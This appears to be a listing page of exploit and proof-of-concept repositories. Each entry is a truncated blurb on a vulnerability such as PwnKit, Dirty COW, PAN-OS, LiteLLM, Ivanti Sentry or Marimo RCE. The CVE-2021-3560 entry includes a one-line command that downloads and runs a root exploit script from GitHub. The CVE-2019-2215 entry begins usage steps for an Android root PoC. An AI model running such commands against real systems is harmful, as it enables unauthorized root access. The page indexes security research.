PwnKit

PwnKit This repository contains an exploit I developed to understand how the Polkit Pkexec vulnerability works: CVE-2021-4034 Pkexec Local Privilege Escalation. Polkit formerly known as PolicyKit is a component that controls privileges on Unix-like operating systems. It provides an organized way...

unknownpwn.github.io

Tecnovision LED Video Wall Vulnerabilities and Exploits. From SQLi to full root access. Introduction: Tecnovision is a manufacturer of LED Video Walls used in arenas For example, Twickenham Stadium, concert halls, shopping malls, as roadsigns and much much more. DlxSpot Player 4 is the software...

-CVE-2021-4034

CVE-2021-4034 PwnKit Exploitation Report Official Security Assessment Summary Controlled exploitation evidence for CVE-2021-4034 with documented impact and remediation guidance. Report Metadata Field| Value ---|--- CVE ID| CVE-2021-4034 Vulnerability Name| PwnKit Affected Component| pkexec polkit...

CVE-2024-1346

CVE-2024-1346 Weak MySQL database root password in LaborOfficeFree affects version 19.10. This vulnerability allows an attacker to calculate the root password of the MySQL database used by LaborOfficeFree using two constants. Exploit Title: LaborOfficeFree 19.10 MySQL Root Password Calculator -...

CVE-2026-42271-PoC

CVE-2026-42271 — LiteLLM Authenticated Command Injection via MCP stdio Test Endpoints LiteLLM POST /mcp-rest/test/connection & POST /mcp-rest/test/tools/list — Authenticated command injection via MCP stdio transport. Any valid API key can execute arbitrary OS commands as root in default Docker...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

CVE-2024-22894

CVE-2024-22894 Downloaded the latest heatpump firmware version wp2reg-V3.88.0-9015 of https://www.heatpump24.com/DownloadArea.php. Within this firmware is a file called : wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015221213\share\shadow This contains a 3DES encrypted...

tesla-security-research

Tesla Security Research Vulnerability research on the Tesla Model 3/Y infotainment system Intel Atom MCU, Linux 4.14.235, responsibly disclosed to Tesla via Bugcrowd. Obtained persistent root access on a production Tesla Model 3 through a command injection vulnerability in Tesla's ODIN diagnostic...

CVE-2024-3400

PAN-OS Firewall Exploit Script This script is designed to demonstrate the exploitation of vulnerabilities in PAN-OS firewalls. It sends a specially crafted payload to the firewall's API endpoint to execute arbitrary commands. This exploit specifically targets CVE-2024-3400, a command injection...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: runc Container Breakout Deconstruction Advanced Purple Teaming & Forensic Analysis of Host Root Escape 🛡️ Overview This repository contains a high-fidelity deconstruction and Proof-of-Concept PoC for...

PwnKit-Vulnerability_CVE-2021-4034

PwnKit Vulnerability - Local Privilege Escalation Title: PwnKit Vulnerability - Local Privilege Escalation Target: Linux Category: Execution Credits: Qualys Research Team Description The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - POC to exploit unauthenticated RCE OMIGOD on Azure UNIX/Linux VMs! Details In Microsoft's Azure, the OMI application gets installed automatically when services like Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., are use...

CVE-2025-31644

CVE-2025-31644: Command Injection in Appliance mode in F5 BIG-IP The “file” parameter of the “save” command is vulnerable to a command injection attack, allowing an authenticated attacker with administrator privileges to the “/mgmt” web API or the SSH “tmsh” shell, to obtain remote code execution...

CVE-2026-10520

🎯 CVE-2026-10520 & CVE-2026-10523 - Ivanti Sentry Pre-Authentication Remote Code Execution + Authentication Bypass Author: Ashraf Zaryouh "0xBlackash" 📌 Overview Two critical vulnerabilities affecting Ivanti Sentry formerly MobileIron Sentry: CVE-2026-10520 → CVSS 10.0 - Pre-auth OS Command...

EvilAhenk

CVE-2026-6508 EvilAhenk is a critical security vulnerability in the LiderAhenk Central Management System architecture that allows all clients to execute code with 'root' privileges on each other Unauthorized RCE & Lateral Movement. How the System Works In LiderAhenk, the management panel/central...

CVE-2024-30167

PoC For Atlona OME Authenticated Command Injection Disclaimer : This proof of concept is provided solely for educational and research purposes only. Do not use this code on systems you do not own or have explicit permission to test. I am not responsible for any misuse. An authenticated command...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - Marimo Pre-Auth RCE Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal 📌 Overview CVE-2026-39987 is a critical Pre-Authentication Remote Code Execution vulnerability affecting Marimo versions prior to 0.23.0. The /terminal/ws WebSocket endpoint completely...

DirtyCow

DirtyCow - Exploit Below code takes advantage of a known vulnerability Dirty COW CVE-2016-5195 to escalate privileges and get root access. Before running, uncomment sc for your platform within main.c. Compilation: gcc main.c -o dirtycow -lpthread...

cve-2025-50946

cve-2025-50946 Exploit script for CVE-2025-50946 OliveTin get-theme RCE. The character requirements are finnicky and many commands that include multiple arguments may not be executed properly. I haven't taken the time to run down the root cause or try to make the script more robust. Holler at me ...

CVE-2019-2215

CVE-2019-2215 CVE-2019-2215 POC for kernel 3.18 Based on Maddie Stone's POC from https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 How to use: adb push su98 /data/local/tmp adb push su98-memory-kallsyms /data/local/tmp adb shell G8231:/ $ cd /data/local/tmp G8231:/ $ chmod 755...